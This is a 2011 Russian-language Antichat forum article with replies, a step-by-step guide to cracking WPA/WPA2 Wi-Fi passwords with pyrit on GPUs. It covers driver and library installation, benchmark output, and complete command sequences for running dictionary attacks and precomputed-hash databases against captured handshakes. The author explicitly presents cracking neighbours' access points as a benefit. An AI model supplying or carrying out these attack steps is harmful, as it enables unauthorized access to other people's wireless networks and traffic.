ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Подбор пароля к WPA/WPA2 с использованием видеокарты (https://forum.antichat.xyz/showthread.php?t=280252)

Machine 23.06.2011 17:26

Автор: Machine.

При копировании на другие ресурсы использовать копирайт.

Сегодня я расскажу и покажу вам как можно использовать всю мощность ваших видеокарт для перебора паролей к Wi-Fi. Как-то не комильфо в наше время использовать только процессорные мощности под эти задачи (aircrack-ng), когда в 80% компьютеров есть видеокарта. Поэтому разумно использовать всю потенциальную мощность ваших систем. А именно, речь пойдет о замечательной программе pyrit.

Немного о программе:

Pyrit позволяет создавать огромные базы данных, для вычислений WPA/WPA2-PSK аутентификации. Используя вычислительную мощность многоядерных и других платформ через ATI-Stream, Nvidia CUDA и OpenCL, в настоящее время, безусловно, самая мощная атака против одной из наиболее часто используемых в мире безопасности протоколов.

WPA/WPA2-PSK является подмножеством стандарта IEEE 802.11 WPA/WPA2, что усложняет распределение ключей и аутентификации клиента путем присвоения каждому участвующему Pre-Shared Key. Это главный ключ получается из пароля, который пользователю необходимо предварительно настроить, например, на своем ноутбуке и точке доступа. Когда ноутбук создает соединение с точкой доступа, новый ключ сессии происходит от мастер-ключа для шифрования и аутентификации."Ярлык" использования одного мастер-ключа, а не для отдельных пользовательских ключей облегчает развертывание WPA/WPA2-защищенных сетей для дома и малого офиса в использовании, за счет принятия протокола уязвимы для брутфорса, что позволяет в конечном итоге раскрыть пароль, который защищает сети. Дополнительную информации см. эту статью в блоге проекта.

В чем профит? Сравните количество pmk/s на aircrack-ng и pyrit:

http://img845.imageshack.us/img845/4...machine001.png

http://img88.imageshack.us/img88/389...eusrlibpyt.png

Разумно заметить, что все действия проводились в ubuntu 10.04 R2 x86_64 с видеокартой Ati R6950 Twin Frozr III.

(Т.е. все справедливо для любых ubuntu-подобных систем, в частности для backtrack 5, с минимальными различиями для 32 и 64 битными системами).

Установка

Список необходимых программ:

1. AMD driver 11.6

2. AMD APP SDK 2.4

http://orwell.fiit.stuba.sk/~nou/amd-app_2.4_amd64.deb

тырк 2

3. Pyrit

Код:

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
4. Calpp++ тырк

1.Установка драйвера:

Код:

chmod +x ati-driver-installer-11-5-x86.x86_64.run
 sudo ./ati-driver-installer-11-5-x86.x86_64.run
 sudo reboot

2.Установка AMD APP SDK 2.4:

Код:

cp /home/user/Downloads/AMD-APP-SDK-v2.4-lnx64.tgz /home/user
 cd /home/user
 tar -xvzf AMD-APP-SDK-v2.4-lnx64.tgz
 gedit ~/.bashrс

Внизу этого файла добавляем следующие строки:

export AMDAPPSDKROOT

export AMDAPPSDKSAMPLESROOT

export AMDAPPSDKROOT=/home/user/AMD-APP-SDK-v2.4-lnx64

export AMDAPPSDKSAMPLESROOT=/home/user/AMD-APP-SDK-v2.4-lnx64/samples

export LD_LIBRARY_PATH=$AMDAPPSDKROOT/lib/x86:$AMDAPPSDKROOT/lib/x86_x64:$LD_LIBRARY_PATH

http://img88.imageshack.us/img88/468...rcgedit003.png



! Поменяйте /user/ на свое имя пользователя

Разумно заметить, что выше приведенный вариант работает для систем любой разрядности.


Код:

sudo logout
3.Регистрируем icd-registration:

Код:

tar xfz $AMDAPPSDKROOT/icd-registration.tgz
 sudo cp $AMDAPPSDKROOT/etc /etc

ВАЖНО!

В некоторых англоязычных руководствах описана установка обеих технологий, которые используют карты Ati для взаимодействия непосредственно с карточкой, это OpenCL которая морально и физически устарела для этого дела, и Calpp с библиотеками libboost, которую мы и будем использовать.

4.Установка Calpp:

Код:

sudo apt-get install libboost1.40-all-dev cmake
 tar -xvzf calpp-0.90.tar.gz
 cd calpp-0.90
 sudo gedit CMakeLists.txt

Исправляем FIND_LIBRARY на следующие значения:

FIND_LIBRARY( LIB_ATICALCL aticalcl PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" )

FIND_LIBRARY( LIB_ATICALRT aticalrt PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/lib/x86_64/" )

FIND_PATH( LIB_ATICAL_INCLUDE NAMES cal.h calcl.h PATHS "/home/user/AMD-APP-SDK-v2.4-lnx64/include/CAL" )

http://img692.imageshack.us/img692/5...calpp090ge.png

Код:

sudo cmake .
 sudo make install

5.Установка pyrit:

Код:

sudo apt-get install g++ python-dev zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev
 svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
 cd /pyrit_svn/pyrit
 sudo python setup.py build install
 cd ..
 cd cpyrit_calpp
 sudo python setup.py build install

На этом установка закончена.

Проверяем правильность установки:

Код:

pyrit selftest
Использование

1. Смотрим доступные ядра процессора/видеокарт:

Код:

pyrit list_cores
2. Запускаем оценочный тест:

Код:

pyrit benchmark
вывод (количество pmk/s естевственно будет зависеть от вашей видеокарты):

#1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4)

#2: 'CPU-Core (SSE2)': 643.5 PMKs/s (RTT 3.0)

#3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0)

#4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9)

#5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0)


Разумно заметить, что 1 видеокарта заменяет 1 ядро процессора, т.е. если у вас 2 и более карт, либо карта двухчиповая, то вывод будет таким:

#1: 'CAL++ Device #1 'ATI CYPRESS'': 82426.3 PMKs/s (RTT 2.4)

#2: 'CAL++ Device #2 'ATI JUNIPER'': 41805.7 PMKs/s (RTT 2.6)

#3: 'CPU-Core (SSE2)': 655.1 PMKs/s (RTT 3.0)

#4: 'CPU-Core (SSE2)': 691.0 PMKs/s (RTT 2.9)

#5: 'Network-Clients': 0.0 PMKs/s (RTT 0.0)


Далее все приведенные действия основываются на том, у вас уже есть .cap файл с перехваченным handshake'ом.

ВАЖНО!

В pyrit'е можно создавать целые базы прекомпилированных хешей для подбора паролей. Есть 2 варианта хранения и использования этих баз:

Вариант 1 - хранение базы в скрытой домашней папке пользователя. Я его называю мобильным, т.е. берется файл с 1 миллионом часто встречающихся паролей, после чего к нему добавляются любые essid'ы для быстрой проверки (1 миллион слов + 1 essid на моей карте это примерно минута времени).

Плюсы:

Файл с паролями залил 1 раз и забыл (можно заливать сколько угодно, но НЕжелательно)

Любое количество essid'ов с любыми именами

Маленькие затраты по времени

Минусы:

При использовании словарей более 20 миллионов и хотя бы 10 разных essid'ов время тратится значительно больше.

Вывод- плюсы плавно перетекают в минусы и наоборот. От себя замечу, что это идеальный вариант при наличии пробивного словаря до 1 миллиона слов, который позволит вам чекать разные .cap файлы с большой скоростью.

Пример использования:

Код:

pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -r cap-01.cap analyze
pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch
либо
pyrit -r cap-01.cap attack_batch

Вариант 2- хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid'ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid'ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid'ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть подвох заключен во времени компиляции, которые естевственно зависит от кол-ва паролей и essid'ов и составляет продолжительно время.

Плюсы:

Допустим 1 база на 10 уникальных essid'ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естевственно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.

Скорость

Огромная скорость

Сделал 1 базу на самые часто встречающиеся essid'ы и чекай их за минимальное время в любых !!! количествах.

Минусы:

Время компилирования

Занимает много места на жестком диске.

Вывод- сухие факты про мою базу: 850 миллионов слов, 24 essid'а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.

Естевственно при меньшем кол-ве паролей и essid'ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам.

Пример использования:

Код:

pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db batch
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db

Заключение

Для тех кто постоянно/проффесионально занимается подбором паролей к Wi-Fi наличие подобных программ существенно облегчает жизнь. Пару слов про аналоги - это программа commview for wifi , сделана под винду, я ее в глаза не видел и не трогал, потому что не пользуюсь виндой. Она, конечно, платная (500$ профит).

Ссылки по теме:

pyrit

Замеры скорости перебора на Вашем компьютере



Вопросы по commview здесь НЕ обсуждаются (только сравнение).

Вопросы не по теме будут караться.


Machine. 495260250

теща 23.06.2011 18:56

время компиляцыи убило насмерть 10 гигов компилировало более 3 часов

+ не видит видеокарту (но дрова встали 11/8 версия)

добавлено в карту раздела

FlatL1ne 24.06.2011 15:25

Молодец. Так это ты ее на хабре запостил?

Machine 24.06.2011 15:31

Да, зеркало на хабре

http://habrahabr.ru/blogs/infosecurity/122553/

добавляйтесь во френды

defolder 26.06.2011 12:00

Прошу помочь

Устанавливал так :

1.

# svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn

2.

# sudo apt-get install libssl-dev

# sudo apt-get install scapy

# sudo apt-get install python-dev

3.

# cd /pyrit_svn/pyrit

# sudo python setup.py build

# sudo python setup.py install

4.

4.1# http://developer.nvidia.com/cuda-toolkit-32-downloads

4.2# cd to /pyrit_svn/cpyrit_cuda

4.3 #sudo python setup.py build

4.4 # sudo python setup.py install

На шаге : 4.3 # ssudo python setup.py build

выдало следующее :

oot@bt:~/pyrit_svn/cpyrit_cuda# sudo python setup.py build

The CUDA compiler and headers required to build kernel were not found. Trying to continue anyway...

running build

running build_ext

/bin/sh: nvcc: command not found

None

Failed to execute command 'nvcc -V'

Traceback (most recent call last):

File "setup.py", line 175, in

setup(**setup_args)

File "/usr/lib/python2.6/distutils/core.py", line 152, in setup

dist.run_commands()

File "/usr/lib/python2.6/distutils/dist.py", line 975, in run_commands

self.run_command(cmd)

File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command

cmd_obj.run()

File "/usr/lib/python2.6/distutils/command/build.py", line 135, in run

self.run_command(cmd_name)

File "/usr/lib/python2.6/distutils/cmd.py", line 333, in run_command

self.distribution.run_command(command)

File "/usr/lib/python2.6/distutils/dist.py", line 995, in run_command

cmd_obj.run()

File "setup.py", line 82, in run

raise SystemError("Nvidia's CUDA-compiler 'nvcc' can't be " \

SystemError: Nvidia's CUDA-compiler 'nvcc' can't be found.

root@bt:~/pyrit_svn/cpyrit_cuda#

Гугл не помог =( запутал еще сильнее .

. Установлено BT5 , видюха NVIDIA GTS 250 (стоят дрова NVIDIA-Linux-x86-275.09.07.run )

Machine 27.06.2011 11:38

Вот тут хедеры не встали:

The CUDA compiler and headers required to build kernel were not found. Trying to continue anyway...

Просто я с cuda дело не имел, кури тему на сайте пирита в разделе issuses

mashka25 27.06.2011 19:53

хакырь однако, статья +

Kastor 02.07.2011 19:41

Спасибо за статью!

Shawn1x 02.07.2011 19:45

Спасибо за статью!

dupD0M 03.07.2011 19:56

отличная статья!раадует что в ВТ это все есть и устанавливать не пришлось)


Время: 17:55